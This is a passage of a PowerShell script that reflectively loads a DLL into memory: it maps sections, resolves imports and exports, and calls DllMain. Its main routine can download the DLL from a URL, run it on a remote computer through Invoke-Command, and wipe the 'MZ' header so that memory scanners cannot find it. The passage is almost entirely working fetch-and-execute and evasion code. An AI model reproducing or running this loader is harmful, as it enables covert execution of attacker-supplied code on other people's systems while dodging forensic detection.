$DllHandle, [Parameter(Position = 1, Mandatory = $true)] [String] $FunctionName ) $Win32Types = Get-Win32Types $DllInfo = Get-DllDetailedInfo -DllHandle $DllHandle -Win32Types $Win32Types #Get the export table if ($DllInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) { return [IntPtr]::Zero } $ExportTablePtr = Add-SignedIntAsUnsigned ($DllHandle) ($DllInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, $Win32Types.IMAGE_EXPORT_DIRECTORY) for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) { #AddressOfNames is an array of pointers to strings of the names of the functions exported $NameOffsetPtr = Add-SignedIntAsUnsigned ($DllHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt32]))) $NamePtr = Add-SignedIntAsUnsigned ($DllHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [UInt32])) $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) if ($Name -ceq $FunctionName) { #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions # which contains the offset of the function in to the DLL $OrdinalPtr = Add-SignedIntAsUnsigned ($DllHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt16]))) $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [UInt16]) $FuncOffsetAddr = Add-SignedIntAsUnsigned ($DllHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt32]))) $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [UInt32]) return Add-SignedIntAsUnsigned ($DllHandle) ($FuncOffset) } } return [IntPtr]::Zero } Function Invoke-MemoryLoadLibrary { Param( [Parameter( Position = 0, Mandatory = $true )] [Byte[]] $DllBytes ) #Get Win32 constants and functions $Win32Constants = Get-Win32Constants $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types #Get basic DLL information Write-Verbose "Getting basic DLL information from the file" $DllInfo = Get-DllBasicInfo -DllBytes $DllBytes -Win32Types $Win32Types $OriginalImageBase = $DllInfo.OriginalImageBase #Verify that the DLL and the current process are the same bits $Process64Bit = $true if ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) -ne 8) { $Process64Bit = $false } if ($Process64Bit -ne $DllInfo.Dll64Bit) { Throw "DLL platform doesn't match process platform" } #Allocate memory and write the DLL to memory. Always allocating to random memory address so I have pretend ASLR Write-Verbose "Allocating memory for the DLL and write its headers to memory" $DllHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$DllInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) [IntPtr]$DllEndAddress = Add-SignedIntAsUnsigned ($DllHandle) ([Int64]$DllInfo.SizeOfImage) if ($DllHandle -eq [IntPtr]::Zero) { Throw "VirtualAlloc failed to allocate memory." } [System.Runtime.InteropServices.Marshal]::Copy($DllBytes, 0, $DllHandle, $DllInfo.SizeOfHeaders) | Out-Null #Now that the DLL is in memory, get more detailed information about it Write-Verbose "Getting detailed Dll information from the headers loaded in memory" $DllInfo = Get-DllDetailedInfo -DllHandle $DllHandle -Win32Types $Win32Types $DllInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $DllEndAddress #Copy each section from the DLL in to memory Write-Verbose "Copy DLL sections in to memory" Copy-Sections -DllBytes $DllBytes -DllInfo $DllInfo -Win32Functions $Win32Functions -Win32Types $Win32Types #Update the memory addresses hardcoded in to the Dll based on the memory address the Dll was expecting to be loaded to vs where it was actually loaded Write-Verbose "Update memory addresses based on where the Dll was actually loaded in memory" Update-MemoryAddresses -DllInfo $DllInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types #The DLL we are in-memory loading has DLLs it needs, import those DLLs for it Write-Verbose "Import DLL's needed by the DLL we are loading" Import-DllImports -DllInfo $DllInfo -Win32Functions $Win32Functions -Win32Types $Win32Types #Update the memory protection flags for all the memory just allocated Write-Verbose "Update memory protection flags" Update-MemoryProtectionFlags -DllInfo $DllInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types #Call DllMain so the DLL knows it has been loaded Write-Verbose "Calling dllmain so the DLL knows it has been loaded" $DllMainPtr = Add-SignedIntAsUnsigned ($DllInfo.DllHandle) ($DllInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) $DllMain.Invoke($DllInfo.DllHandle, 1, [IntPtr]::Zero) | Out-Null return ($DllInfo.DllHandle) } Function Main { #Load the DLL reflectively Write-Verbose "Calling Invoke-MemoryLoadLibrary" $DllHandle = Invoke-MemoryLoadLibrary -DllBytes $DllBytes if ($DllHandle -eq [IntPtr]::Zero) { Throw "Unable to load DLL, handle returned is NULL" } ######################################### ### YOUR CODE GOES HERE ######################################### switch ($FuncReturnType) { 'WString' { Write-Verbose "Calling function with WString return type" [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -DllHandle $DllHandle -FunctionName "WStringFunc" if ($WStringFuncAddr -eq [IntPtr]::Zero) { Throw "Couldn't find function address." } $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) [IntPtr]$OutputPtr = $WStringFunc.Invoke() $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) Write-Output $Output } 'String' { Write-Verbose "Calling function with String return type" [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -DllHandle $DllHandle -FunctionName "StringFunc" if ($StringFuncAddr -eq [IntPtr]::Zero) { Throw "Couldn't find function address." } $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) [IntPtr]$OutputPtr = $StringFunc.Invoke() $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) Write-Output $Output } 'Void' { Write-Verbose "Calling function with Void return type" [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -DllHandle $DllHandle -FunctionName "VoidFunc" if ($VoidFuncAddr -eq [IntPtr]::Zero) { Throw "Couldn't find function address." } $VoidFuncDelegate = Get-DelegateType @() ([Void]) $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) $VoidFunc.Invoke() | Out-Null } } ######################################### ### END OF YOUR CODE ######################################### Write-Verbose "Done!" } Main } #Main function to either run the script locally or remotely Function Main { [Byte[]]$DllBytes = $null if ($PsCmdlet.ParameterSetName -ieq "LocalFile") { Get-ChildItem $DllPath -ErrorAction Stop | Out-Null [Byte[]]$DllBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $DllPath)) } else { $WebClient = New-Object System.Net.WebClient [Byte[]]$DllBytes = $WebClient.DownloadData($DllUrl) } #Verify the image is a valid PE file $e_magic = ($DllBytes[0..1] | % {[Char] $_}) -join '' if ($e_magic -ne 'MZ') { throw 'Dll is not a valid PE file.' } # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. $DllBytes[0] = 0 $DllBytes[1] = 0 if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") { Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($DllBytes, $FuncReturnType) } else { Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($DllBytes, $FuncReturnType) -ComputerName $ComputerName } } Main }